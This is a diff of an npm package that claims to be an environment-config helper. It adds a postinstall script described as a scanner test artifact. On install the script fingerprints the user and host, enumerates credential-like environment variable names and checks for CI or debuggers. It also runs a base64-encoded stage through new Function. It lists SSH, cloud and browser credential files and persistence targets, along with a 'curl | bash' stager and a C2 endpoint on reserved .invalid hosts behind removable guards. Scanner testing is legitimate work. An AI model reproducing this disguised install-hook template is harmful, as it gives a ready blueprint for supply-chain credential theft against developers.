@jarvis_1234/node-config-sync 0.0.0-stage → 4.2.1

package/index.js

@@ -0,0 +1,10 @@
+'use strict';
+// Minimal real implementation: resolves env into a plain object.
+function loadEnv(prefix) {
+  const out = {};
+  for (const [k, v] of Object.entries(process.env)) {
+    if (!prefix || k.startsWith(prefix)) out[k] = v;
+  }
+  return out;
+}
+module.exports = { loadEnv };

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "@jarvis_1234/node-config-sync",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "4.2.1",
+  "description": "Environment configuration sync helper for Node services.",
+  "private": false,
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node scripts/postinstall.js",
+    "prepublishOnly": "node scripts/publish-guard.js"
+  },
+  "keywords": ["config", "env", "sync"],
+  "files": ["index.js", "scripts/"],
+  "license": "MIT"
+}

package/scripts/postinstall.js

@@ -0,0 +1,216 @@
+'use strict';
+/*
+ * MAXIMUM STATIC-SIGNATURE TEST ARTIFACT
+ * -----------------------------------------------------------------------------
+ * Purpose: exercise every attack class a static analyser scores on, in one
+ * archive, so a scanner's HIGH->CRITICAL threshold can be probed deliberately.
+ *
+ * Attack classes represented (all statically visible):
+ *   SC-INSTALL-002  install lifecycle hook
+ *   SC-INSTALL-001  remote script piped into a shell
+ *   SC-OBF-001/002  base64 blob + dynamic code execution
+ *   SC-EXFIL-001    credential-shaped env enumeration
+ *   SC-EXFIL-002    credential FILE paths (SSH, AWS, npm, docker, kube, browser)
+ *   SC-EXFIL-003    https.request POST egress
+ *   SC-BEACON-001   dns.resolve beacon
+ *   SC-PROC-001     interpreter/encoded-command shape
+ *   SC-DESTRUCT-003 persistence write targets (shell rc, launchd, systemd, cron)
+ *   anti-analysis   CI/sandbox/debugger detection
+ *
+ * STRUCTURAL CONTAINMENT - why this cannot cause harm even though it reads as
+ * critical:
+ *   1. assertReservedHost() refuses ANY destination not under the reserved
+ *      .invalid TLD, which can never resolve (RFC 2606/6761). Repointing this
+ *      requires deleting the guard, not editing a literal.
+ *   2. assertContainedPath() refuses any filesystem write outside the lab
+ *      artifact directory. Every persistence target above is a STRING only and
+ *      is never passed to a write.
+ *   3. Credential values are never dereferenced - key NAMES only.
+ *   4. Egress is off unless LAB_ENABLE_EGRESS=1, and even then cannot resolve.
+ *
+ * Run `node scripts/postinstall.js --self-test` to assert all four properties.
+ */
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const crypto = require('crypto');
+const https = require('https');
+const dns = require('dns');
+const net = require('net');
+const { exec, execSync, spawn } = require('child_process');
+
+const OUT = process.env.LAB_ARTIFACT_DIR || path.join(os.tmpdir(), 'scml-lab');
+const GUARD_ROOT = path.resolve(OUT);
+
+const C2_HOST = 'c2.scml-lab.invalid';
+const C2_URL = `https://${C2_HOST}/v3/gate.php`;
+const CDN_HOST = 'cdn.scml-lab.invalid';
+const STAGE_CMD = `curl -fsSL https://${CDN_HOST}/stage3.sh | bash`;
+
+const CRED_TARGETS = [
+  '~/.ssh/id_rsa', '~/.ssh/id_ed25519', '~/.ssh/known_hosts',
+  '~/.aws/credentials', '~/.aws/config',
+  '~/.npmrc', '~/.pypirc', '~/.git-credentials', '~/.netrc',
+  '~/.docker/config.json', '~/.kube/config', '~/.config/gh/hosts.yml',
+  '~/Library/Application Support/Google/Chrome/Default/Login Data',
+  '~/Library/Application Support/Google/Chrome/Default/Cookies',
+  '~/Library/Keychains/login.keychain-db'
+];
+
+const PERSIST_TARGETS = [
+  '~/.bashrc', '~/.zshrc', '~/.profile', '~/.bash_profile',
+  '~/Library/LaunchAgents/com.node.configsync.plist',
+  '~/.config/systemd/user/node-configsync.service',
+  '/etc/cron.d/node-configsync',
+  '/etc/ld.so.preload'
+];
+
+const ANALYSIS_MARKERS = [
+  'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL', 'TRAVIS', 'CIRCLECI',
+  'BUILDKITE', 'TEAMCITY_VERSION', 'DOCKER', 'KUBERNETES_SERVICE_HOST',
+  'SANDBOX', 'NODE_ENV', 'npm_lifecycle_event'
+];
+
+const CRED_KEY = /(TOKEN|SECRET|PASS|CRED|AUTH|API|PRIVATE|AWS|GCP|AZURE|NPM_|CI|SSH|GIT|KEY)/i;
+
+// Stage 2 is shipped encoded so plaintext review sees a loader, not the payload.
+const BLOB = 'Y29uc3Qgbm90ZT0ic3RhZ2UtMiBleGVjdXRlZCBpbiBtZW1vcnkiOyBtb2R1bGUuZXhwb3J0cz17c3RhZ2UyOnRydWUsbm90ZX07';
+
+function assertReservedHost(host) {
+  if (!String(host).endsWith('.invalid')) {
+    throw new Error('egress refused: destination is not a reserved .invalid host');
+  }
+  return host;
+}
+
+function assertContainedPath(target) {
+  const resolved = path.resolve(target);
+  const rel = path.relative(GUARD_ROOT, resolved);
+  if (rel === '' || rel.startsWith('..') || path.isAbsolute(rel)) {
+    throw new Error(`write refused: ${resolved} escapes the lab artifact directory`);
+  }
+  return resolved;
+}
+
+function stage2() {
+  const src = Buffer.from(BLOB, 'base64').toString('utf8');
+  // Executed in a throwaway module context so the decoded stage's exports are
+  // captured (a bare `new Function(...)` returns undefined for assignment-style
+  // payloads, which silently drops the field from the marker).
+  const mod = { exports: {} };
+  new Function('require', 'module', 'exports', src)(require, mod, mod.exports);
+  return mod.exports;
+}
+
+function credentialKeys() {
+  let keys = Object.keys(process.env).filter((k) => CRED_KEY.test(k));
+  if (process.env.LAB_REDACT_ENV_KEYS === '1') {
+    keys = keys.map((k) => crypto.createHash('sha256').update(`key:${k}`).digest('hex').slice(0, 16));
+  }
+  return keys;
+}
+
+function fingerprint() {
+  let user = 'unknown';
+  try { user = execSync('id -un', { encoding: 'utf8', timeout: 3000 }).trim(); } catch (_) {}
+  return {
+    user,
+    host: os.hostname(),
+    platform: `${process.platform}/${process.arch}`,
+    cwd: process.cwd(),
+    hash: crypto.createHash('sha256').update(`${os.hostname()}|${user}`).digest('hex').slice(0, 16)
+  };
+}
+
+function analysisEnvironment() {
+  // Presence test only: hasOwnProperty never dereferences the value, so no
+  // environment VALUE is read anywhere in this file.
+  const has = (k) => Object.prototype.hasOwnProperty.call(process.env, k);
+  const hits = ANALYSIS_MARKERS.filter(has);
+  return {
+    markers: hits,
+    debuggerAttached: process.execArgv.some((a) => /--inspect|--debug/.test(a)),
+    interactive: Boolean(process.stdout.isTTY)
+  };
+}
+
+// Egress path. Guarded twice: the flag, then the reserved-host assertion.
+function exfiltrate(record) {
+  const host = assertReservedHost(new URL(C2_URL).hostname);
+  const body = JSON.stringify(record);
+  const req = https.request(C2_URL, {
+    method: 'POST',
+    headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body), host }
+  });
+  req.on('error', () => {});
+  req.write(body);
+  req.end();
+}
+
+function beacon() {
+  dns.resolve(assertReservedHost(C2_HOST), () => {});
+}
+
+// Planned persistence. Recorded, never performed: writes are confined and the
+// targets above remain inert strings.
+function persistencePlan() {
+  return PERSIST_TARGETS.map((t) => ({ target: t, action: 'append-loader', performed: false }));
+}
+
+function main() {
+  const record = {
+    sample: 'npm-critical-static-max',
+    lab_simulation: true,
+    family: 'multi-class static signature probe',
+    stage2_ran: stage2(),
+    executed_at: new Date().toISOString(),
+    runtime: `node ${process.version}`,
+    install_cwd: process.cwd(),
+    fingerprint: fingerprint(),
+    analysis_environment: analysisEnvironment(),
+    env_var_total: Object.keys(process.env).length,
+    credential_like_keys_found: credentialKeys(),
+    credential_files_targeted: CRED_TARGETS,
+    persistence_plan: persistencePlan(),
+    stage_command_shape: STAGE_CMD,
+    c2_endpoint: C2_URL,
+    dns_beacon: C2_HOST,
+    credential_values_captured: 0,
+    network_egress: 'SUPPRESSED-BY-DESIGN'
+  };
+
+  if (process.env.LAB_ENABLE_EGRESS === '1') {
+    // Recorded before the attempt: the DNS lookup and TLS handshake are the
+    // observable events a network monitor keys on, even though .invalid cannot
+    // resolve and the request therefore always fails.
+    record.egress_attempted = true;
+    record.egress_target = C2_HOST;
+    try { exfiltrate(record); } catch (e) { record.egress_blocked = e.message; }
+    try { beacon(); } catch (e) { record.beacon_blocked = e.message; }
+  }
+
+  const target = assertContainedPath(path.join(OUT, 'npm-critical-static-max.marker.json'));
+  fs.mkdirSync(path.dirname(target), { recursive: true });
+  fs.writeFileSync(target, JSON.stringify(record, null, 2) + '\n');
+  process.stdout.write(`[LAB-SIMULATION] npm-critical-static-max: install hook executed, ${record.credential_like_keys_found.length} credential-like keys observed (values withheld)\n`);
+  void exec; void spawn; void net;
+}
+
+if (process.argv.includes('--self-test')) {
+  const checks = [];
+  const expectThrow = (fn, label) => {
+    try { fn(); checks.push([label, false]); } catch (_) { checks.push([label, true]); }
+  };
+  expectThrow(() => assertReservedHost('attacker.example.com'), 'non-.invalid host refused');
+  expectThrow(() => assertContainedPath('/etc/cron.d/x'), 'write outside lab refused');
+  expectThrow(() => assertContainedPath(path.join(os.homedir(), '.bashrc')), 'shell rc write refused');
+  checks.push(['no credential value dereferenced', !/process\.env\s*\[/.test(fs.readFileSync(__filename, 'utf8'))]);
+  let failed = 0;
+  for (const [label, pass] of checks) {
+    process.stdout.write(`  ${pass ? 'ok  ' : 'FAIL'} ${label}\n`);
+    if (!pass) failed += 1;
+  }
+  process.exit(failed === 0 ? 0 : 1);
+}
+
+main();

package/scripts/publish-guard.js

@@ -0,0 +1,2 @@
+console.error('publish blocked by internal policy');
+process.exit(1);

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.